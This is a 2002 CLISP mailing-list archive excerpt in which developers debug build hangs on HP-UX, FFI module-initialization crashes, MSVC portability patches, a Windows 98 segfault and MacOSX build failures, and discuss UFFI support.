clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 09:32:45 2002 X-Original-Date: Wed, 3 Apr 2002 10:49:05 -0600 I removed the.gdbinit file and then ran the command: artn@bs742> gdb ./lisp.run GNU gdb 5.1 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "hppa2.0-hp-hpux10.20"...(no debugging symbols found)... (gdb) run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") Starting program: /tmp_mnt/users/artn/clisp-2.28-CVS/src/./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" But I never get a prompt back. All I can do is kill it from another xterm. Thanks for the help, Art > -----Original Message----- > From: Will Newton [mailto:will@misconception.org.uk] > Sent: Wednesday, April 03, 2002 9:58 AM > To: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] Still Problems compiling on HP > > > On Wednesday 03 Apr 2002 4:06 pm, Nuzzo Art-CINT116 wrote: > > > Now it will just hang there. I'm not sure if it is from > lisp.run or I did > > something wrong when I compiled gdb or it is waiting for me to do > > something. > > The problem is that for some reason (I assume it is an error, > I cannot > believe it has any use) there is a .gdbinit file in the > source directory. To > make matters worse it is copied to the build directory also. > If you have the > time could you please try this: > > (% is shell propmt, >> is gdb prompt) > > % cd to wherever you are building, defaults to clisp-2.28/src > % rm .gdbinit > % gdb ./lisp.run > >> run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load > \"init.lisp\") > (sys::%saveinitmem) (exit)" > > And see if that crashes - it should drop to the debugger with > SIGSEGV caught > or something along those lines. > > If so please try: > > >> backtrace > > Hopefully that should print something. > > NB: It would be really nice if someone would remove that > .gdbinit file, it > makes it a lot harder to get good bug reports. > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From will@misconception.org.uk Wed Apr 03 10:55:27 2002 Received: from mail7.svr.pol.co.uk ([195.92.193.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16spuo-0002lr-00 for ; Wed, 03 Apr 2002 10:55:26 -0800 Received: from modem-106.aerodactyl.dialup.pol.co.uk ([217.135.6.106] helo=there) by mail7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16spuk-0000A4-00 for clisp-list@lists.sourceforge.net; Wed, 03 Apr 2002 19:55:22 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 11:07:47 2002 X-Original-Date: Wed, 3 Apr 2002 19:56:37 +0100 On Wednesday 03 Apr 2002 5:52 pm, Sam Steingold wrote: > this is intentional. > I use this to debug CLISP. > note that emacs comes with a much more extensive src/.gdbinit It just throws out errors with my version of gdb. From samuel.steingold@verizon.net Wed Apr 03 11:42:12 2002 Received: from out010pub.verizon.net ([206.46.170.133] helo=out010.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sqe2-0000rK-00 for ; Wed, 03 Apr 2002 11:42:10 -0800 Received: from gnu.org ([151.203.48.85]) by out010.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020403194202.CCWI1257.out010.verizon.net@gnu.org>; Wed, 3 Apr 2002 13:42:02 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 11:52:01 2002 X-Original-Date: 03 Apr 2002 14:42:01 -0500 > * In message > * On the subject of "Re: [clisp-list] Still Problems compiling on HP" > * Sent on Wed, 3 Apr 2002 19:56:37 +0100 > * Honorable Will Newton writes: > > On Wednesday 03 Apr 2002 5:52 pm, Sam Steingold wrote: > > > this is intentional. > > I use this to debug CLISP. > > note that emacs comes with a much more extensive src/.gdbinit > > It just throws out errors with my version of gdb. what version? what errors? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Bus error -- driver executed. From peter.wood@worldonline.dk Wed Apr 03 11:51:31 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sqn2-0002I4-00 for ; Wed, 03 Apr 2002 11:51:29 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 47BC2B665 for ; Wed, 3 Apr 2002 21:51:25 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g33J3lU03143; Wed, 3 Apr 2002 21:03:47 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020403210346.A3117@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Wed, Apr 03, 2002 at 05:00:16PM +0200 Subject: [clisp-list] Re: fatal error in fatal error handler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 11:58:12 2002 X-Original-Date: Wed, 3 Apr 2002 21:03:46 +0200 On Wed, Apr 03, 2002 at 05:00:16PM +0200, Hoehle, Joerg-Cyril wrote: > Hi, > > could somebody please confirm the following on a different platform? CLISP-2.27 (win32 binary distribution) would not crash while my own MS-VC6-compiled CLISP-2.28 dies: > I can confirm it on Gnu/Linux with Clisp-2.28: Script started on Wed Apr 3 20:57:02 2002 /home/prw/Projects/clisp/DEBUG bash-2.04$ ./base/lisp.run -B . WARNING: No initialization file specified. Please try: ./base/lisp.run -M lispinit.mem > (load "macros2.fas") *** - COMMON-LISP:FUNCALL: the function REMOVE-OLD-DEFINITIONS is undefined 1. Break> [error.d:305] cannot handle the fatal error due to a fatal error in the fatal error handler! Aborted (core dumped) Script done on Wed Apr 3 20:58:06 2002 > > I'm investigating Peter's DEF-CALL-IN crash report... > Thank you! Regards, Peter From peter.wood@worldonline.dk Wed Apr 03 11:51:31 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sqn2-0002Hz-00 for ; Wed, 03 Apr 2002 11:51:29 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 01AF1B64B for ; Wed, 3 Apr 2002 21:51:25 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g33JZpc03177; Wed, 3 Apr 2002 21:35:51 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module with new package bug & work-around (was: def-call-in probl em) Message-ID: <20020403213551.B3117@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Wed, Apr 03, 2002 at 05:21:31PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 11:58:15 2002 X-Original-Date: Wed, 3 Apr 2002 21:35:51 +0200 Hi, On Wed, Apr 03, 2002 at 05:21:31PM +0200, Hoehle, Joerg-Cyril wrote: > > DEF-CALL-IN is not at fault (cf. Peter Wood's bug report). It's the object initialization of modules which has a bug. > Why does it only break when the module has a def-call-in? > A work-around is not to use an unknown package. Unknown means one which is not yet known in the .mem file that is being initialized from. > > Thus, 2 possible work-around paths: > 1. generate a new .mem, using > (defpackage "TESTCI" (:use "FFI" "LISP")) > (saveinitmem) > then > lisp.exe -M foo.mem > (load "alpha.lisp") > That works nicely, for now. Thanks. > The failure to handle unknown packages is strange since I can remember something about this issue when module functionality was added to CLISP around seven years ago. > I haven't looked at the spvw*.d etc. CLISP code yet. I compiled old clisp releases back to 1997 trying to find one that worked with the example in impnotes. None did. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 01:18:03 2002 Received: from gw11.telekom.de ([62.225.183.250] helo=fw11.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sgu1-0007ep-00 for ; Wed, 03 Apr 2002 01:18:02 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id LAA23842; Wed, 3 Apr 2002 11:17:28 +0200 (MET DST) Received: from g8sbv.dmz.telekom.de by U8PW4.blf01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 11:17:54 +0200 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 3 Apr 2002 11:16:32 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 11:17:53 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dan.stanger@ieee.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] c-ptr nil vs c-pointer and cparse/SWIG -> FFI calls Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 12:09:00 2002 X-Original-Date: Wed, 3 Apr 2002 11:17:51 +0200 Hi, Dan Stanger wrote: >My goal is to parse the cygwin win32 api headers and > produce ffi calls for them I think you cannot generate ffi:DEF-CALL forms without knowing about :in/:out (i.e. parameter modes) for each function, i.e. how it is to be used. BTW, what did the creators of linux.lisp do? hand-edit each function? Have you gained confidence (e.g. tested) that CLISP can indeed call win32? From what I read, this needs the "stdcall" (= seems to be name for Pascal stack order) calling convention of which Sam recently said it was not really implemented (however src/foreign.d doesn't mention any incompleteness). I heard that most other .dll use the regular C calling convention, so you may try them first. BTW, a truly dynamic FFI will be coming -- but don't hold your breath. >I assumed that >one could refer to a pointer to void by c-ptr nil. C void is void, but C void* is more a notation (to me) than a pointer to nothing. (FFI:C-PTR NIL) will not make you happy, as this pointer cannot be read or set and CLISP won't let you pass or receive arguments for this. It's definitely not what you want. Look at the Common Lisp type hierarchy. NIL is at bottom and T at the top. C probably didn't want to spend another keyword. void is clearly NIL, but void* is akin to T - for pointer types. CLISP has a very precise means of specifying foreign types. On the downside, precision is in the way of genericity (e.g. write(void* buf, size_t len) -> ?). E.g., you cannot use (:arguments (buf C-POINTER) #) when you need a string... Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 01:28:54 2002 Received: from gw9.telekom.de ([62.156.152.68] helo=fw9.telekom.de) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sh4X-00009l-00 for ; Wed, 03 Apr 2002 01:28:53 -0800 Received: by fw9.telekom.de; (5.65v4.0/1.3/10May95) id AA19726; Wed, 3 Apr 2002 11:28:21 +0200 Received: from g8sbv.dmz.telekom.de by U8PW4.blf01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 11:28:48 +0200 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 11:27:23 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 11:28:44 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] #include (was: now you can use the regexp module on MS-Windows) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 12:10:30 2002 X-Original-Date: Wed, 3 Apr 2002 11:28:43 +0200 Sam Steingold wrote: >are you sure this is necessary? GNU Emacs does not have this special >casing and it does work on win32. Maybe compiling using gcc or cygwin? I don't have that there. I'd like for somebody with more than the two hours experience of using MS-VC that I have (!) to comment on these portability issues. I was really very pleased that compilation of CLISP went smooth, following win32msvc/INSTALL by the letter. Thanks to you all! regex.c: > + #ifdef _MSC_VER /* Microsoft VC */ > + #include > + #define alloca _alloca >do I understand correctly that without this the MS regexp would use >malloc/free instead of alloca? Worse: If I remember what I did, linking lisp.exe complained about alloca being undefined -> no .exe. So I looked at how src/LISPBIBL.D declares it. Voila! regexi.c (not part of GNU regex): > #include /* regex.h needs this */ > + #include /* declare malloc(), free() */ > #include "regex.h" If I remember correctly, size_t was not found. Anyway, I think it's good practise to include system headers first. Maybe one of these issues would disappear if I had compiled with -D STDC_HEADERS right from the beginning. I hope somebody else will confirm or deny these #define compatibility issues. Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 01:31:04 2002 Received: from gw9.telekom.de ([62.156.152.68] helo=fw9.telekom.de) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sh6b-0000Oi-00 for ; Wed, 03 Apr 2002 01:31:01 -0800 Received: by fw9.telekom.de; (5.65v4.0/1.3/10May95) id AA18841; Wed, 3 Apr 2002 11:30:30 +0200 Received: from G8SBV.dmz.telekom.de by U9JWN.mgb01.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 11:30:56 +0200 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 3 Apr 2002 11:29:33 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Apr 2002 11:30:54 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Subject: [clisp-list] continuable SIGSEGV?! (MS-Windows-98) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 12:10:58 2002 X-Original-Date: Wed, 3 Apr 2002 11:30:52 +0200 Hi, this time, I'm using MS-Windows-98. 1. Break [13]> (socket-connect 6) [Typing ^C] *** - handle_fault error2 ! address = 0xFFFFFFFF not in [0x6697C860,0x669A0000)! SIGSEGV cannot be cured. Fault address = 0xFFFFFFFF. [Appears dialog "program has performed an illegal operation ... shut down."] [a few seconds later:] *** - Winsock error 10061 (ECONNREFUSED): Connection refused 2. Break [14]> 123 123 2. Break [14]> A zombie! This is the first time I see a program continue to do something after the crash report dialog has appeared. What's happening? The details of the "illegal operation" dialog from MS-Windows: LISP caused an invalid page fault in module at 00de:00000013. Registers: EAX=c0030938 CS=017f EIP=00000013 EFLGS=00010203 EBX=816e4b24 SS=0187 ESP=0160ff6c EBP=0160ff84 ECX=4cc36e81 DS=0187 ESI=816eee68 FS=38e7 EDX=816ec3ac ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: 00 54 ff 00 f0 79 ea 00 f0 21 ea 00 f0 00 00 00 Stack dump: 00000187 bffa2544 00000000 00000000 00000008 0160ff78 0160ffcc bffaff7d 00000000 0160ffcc 816eee8c 816ec34c bff88f20 00000000 816eee8c 00000008 From lcluke@wsbnet.com Wed Apr 03 17:02:35 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sve5-0005xC-00 for ; Wed, 03 Apr 2002 17:02:33 -0800 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net [Concentric SMTP Routing 1.0] id g3412UP26180 for ; Wed, 3 Apr 2002 20:02:30 -0500 (EST) Received: from dairyqueen (w153.z206111085.lax-ca.dsl.cnc.net [206.111.85.153]) by newman.concentric.net (8.9.1a) id UAA00891; Wed, 3 Apr 2002 20:02:29 -0500 (EST) Message-ID: <002d01c1db74$9a43abe0$99556fce@WSBNET.COM> From: "Luke J Crook" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [clisp-list] CLISP, UFFI and SDL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 17:06:13 2002 X-Original-Date: Wed, 3 Apr 2002 17:03:55 -0800 I apologize if this has been asked before, but the clisp-list archive lacks a search function. I have been looking at SDL (Simple Directmedia Layer http://www.libsdl.org/ ) and noticed that someone is building bindings to the SDL library for LISP. SDL provides portable (Windows, Linux etc.) low level access to a video framebuffer, audio output, mouse, and keyboard (and TCP/IP sockets). Which is nice as you can get accelerated 3D graphics using OpenGL out of the box. The LISP bindings (CL-SDL, http://cl-sdl.sourceforge.net/ ) currently only support CMUCL however there is talk by the developers on the CL-SDL mailing list to change the code to support UFFI http://uffi.med-info.com/ , which in turn supports Allegro, Lispworks and CMUCL. So I was wondering if the developers of CLISP have looked into supporting UFFI ? -Luke From tom7ca@yahoo.com Wed Apr 03 19:29:42 2002 Received: from web11904.mail.yahoo.com ([216.136.172.188]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sxwU-000756-00 for ; Wed, 03 Apr 2002 19:29:42 -0800 Message-ID: <20020404032940.6942.qmail@web11904.mail.yahoo.com> Received: from [13.1.100.90] by web11904.mail.yahoo.com via HTTP; Wed, 03 Apr 2002 19:29:40 PST From: Tom To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] problems building on MacOSX, and problems with the build process Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 19:30:04 2002 X-Original-Date: Wed, 3 Apr 2002 19:29:40 -0800 (PST) Trying to build CLISP on MacOSX breaks in the avcall package because the OSX asm syntax is different from that of other rs6000 systems. Is there any way of telling CLISP not to use avcall? I tried giving configure the "--without-avcall" option. Configure doesn't complain, but it still tries to compile "avcall" and fails. Would it even run without avcall? I'm also having a hard time just hacking CLISP. When I "configure" and "make" it, after it dies making itself in avcall, it doesn't notice that anything went wrong, removes (!) the toplevel makefile, and tells me to proceed to the second stage make process. After that, the source tree is in a mess: configure refuses to run again because bits and pieces of the previous configuration are still around, and "make" refuses to run because the top-level makefile is gone. That can't be how is it supposed to work; what am I missing? Thanks, Tom. __________________________________________________ Do You Yahoo!? Yahoo! Tax Center - online filing with TurboTax http://taxes.yahoo.com/ From will@misconception.org.uk Wed Apr 03 20:56:06 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16szI5-00077p-00 for ; Wed, 03 Apr 2002 20:56:05 -0800 Received: from modem-96.babbelas.dialup.pol.co.uk ([62.25.132.96] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16szI3-0001CD-00 for clisp-list@lists.sourceforge.net; Thu, 04 Apr 2002 05:56:03 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Still Problems compiling on HP X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 20:57:05 2002 X-Original-Date: Thu, 4 Apr 2002 05:57:12 +0100 On Wednesday 03 Apr 2002 5:49 pm, Nuzzo Art-CINT116 wrote: > But I never get a prompt back. All I can do is kill it from another xterm. Very strange. Unfortunately my only PA-RISC machine has Linux on it so I can't test this. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 03 23:34:33 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t1lP-0000DS-00 for ; Wed, 03 Apr 2002 23:34:32 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 4 Apr 2002 09:33:00 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 09:34:21 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: peter.wood@worldonline.dk Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Reporting ffi broken: module init dies within stream _read MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 3 23:35:08 2002 X-Original-Date: Thu, 4 Apr 2002 09:34:21 +0200 Peter, > I have tried stepping (si) through this with gdb > 0x08051783 1492 *object_ptr =3D=20 > stream_read(&STACK_0,NIL,NIL); # Objekt lesen > (gdb)=20 > *** - The value of *TERMINAL-IO* was not a stream: # TERMINAL-STREAM>. It has been changed to # TERMINAL-STREAM>.0x0805e1f6 in interpret_bytecode_=20 > (closure=3D0x2036fccd, codeptr=3D0x203357b8,=20 > byteptr_in=3D0x203357ca=20 > "=C7P\nk\003*\024m\004\0010\005Q&\006\031i\001\002/\a\031\001N\0 > 01") at eval.d:7524 > 7524 finish_entry_frame_1(CATCH,returner, goto=20 > catch_return; ); Could you send me a backtrace of this point? I suspect it is within = module_initialization, reading from module__xyz__object_tab_initdata[] As far as I can remember, a string-input-stream is created for every = element there, so as to create a Lisp object to be stored into = module__xyz__object_tab[]. There, I suspect, the reader (stream_read) = dies upon 'TESTCI::DECIDER. >Why does it only break when the module has a def-call-in? object_tab is not used by DEF-CALL-OUT or DEF-C-VAR. object_tab can be used by hand-written modules. The reader only dies when the package is unknown (or maybe locked, to = be investigated). Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 04 00:10:20 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16t2K2-0005KJ-00 for ; Thu, 04 Apr 2002 00:10:18 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 4 Apr 2002 10:08:48 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 4 Apr 2002 10:10:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] references to shared libraries from within shared objects? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 00:11:23 2002 X-Original-Date: Thu, 4 Apr 2002 10:10:08 +0200 Hi, Could somebody please shed light on the ability under UNIX to load a = shared object which would require some new library to be linked against = the whole Lisp binary in order to locate symbols referenced by that = object? E.g. suppose my executable doesn't use sockets, can I = dlopen("mysock.so") which provides a layer around sockets but then = obviously requires the system socket lib to be linked against my binary = (e.g. libnsl or some such)? It seems not possible according to the following text, since my = executable initially was not linked against tons of libraries (e.g. = libX, libsocket, libSSL, libLDAP, libKerberos etc.): Dynamic Shared Objects (for Apache): http://httpd.apache.org/docs/dso.html "Or in other words, modules compiled as DSO files are restricted to only use symbols from the Apache core, from the C library (libc) and all other dynamic or static libraries used by the Apache core, or from static library archives (libfoo.a) containing position independent code. The only chances to use other code is to either make sure the Apache core itself already contains a reference to it, loading the code yourself via dlopen() or enabling the SHARED_CHAIN rule while building Apache when your platform supports linking DSO files against DSO libraries." OTOH using CMUCL on SunOS and Solaris, we once did: ;/* Preprocessed Lisp file */ (load-foreign (list "/cmp_ld/ipc_lisp.o") :libraries (list "/cmp_ld/libknipcms.a") #ifdef __GNUC__ (concatenate (quote string) root "/cmp_ld/libgcc.a") #endif "-lc")) but that was in foo.o + lib.a time, vs now programmers seem to favour = foo.so + lib.so.1.x The typical dlopen() interface doesn't feature an extra :libraries = argument. Thanks for your help, J=F6rg H=F6hle. From rurban@x-ray.at Thu Apr 04 03:25:53 2002 Received: from goliath.inode.at ([195.58.161.55] helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16t5NG-00056Z-00 for ; Thu, 04 Apr 2002 03:25:50 -0800 Received: from [62.46.176.220] (helo=x-ray.at) by smtp.inode.at with asmtp (Exim 3.34 #1) id 16t5N9-0005zO-00; Thu, 04 Apr 2002 13:25:43 +0200 Message-ID: <3CAC382A.29D65337@x-ray.at> From: Reini Urban Organization: http://www.x-ray.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: de,en MIME-Version: 1.0 To: Luke J Crook CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP, UFFI and SDL References: <002d01c1db74$9a43abe0$99556fce@WSBNET.COM> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 4 03:26:15 2002 X-Original-Date: Thu, 04 Apr 2002 11:25:30 +0000 Luke J Crook schrieb: > So I was wondering if the developers of CLISP have looked into supporting > UFFI ? yes, currently joerg is doing that. there's a lot of work and even more a lot of design questions (of political nature) to solve. but thanksfully joerg has free hands on this. The UFFI needs some low-level c-side support for CLISP, and the dynamic CLISP FFI should also be doable. (truly a shame) See the mailinglists uffi-devel@b9.com and uffi-users@b9.com * http://www.b9.com/mailman/listinfo/uffi-users * 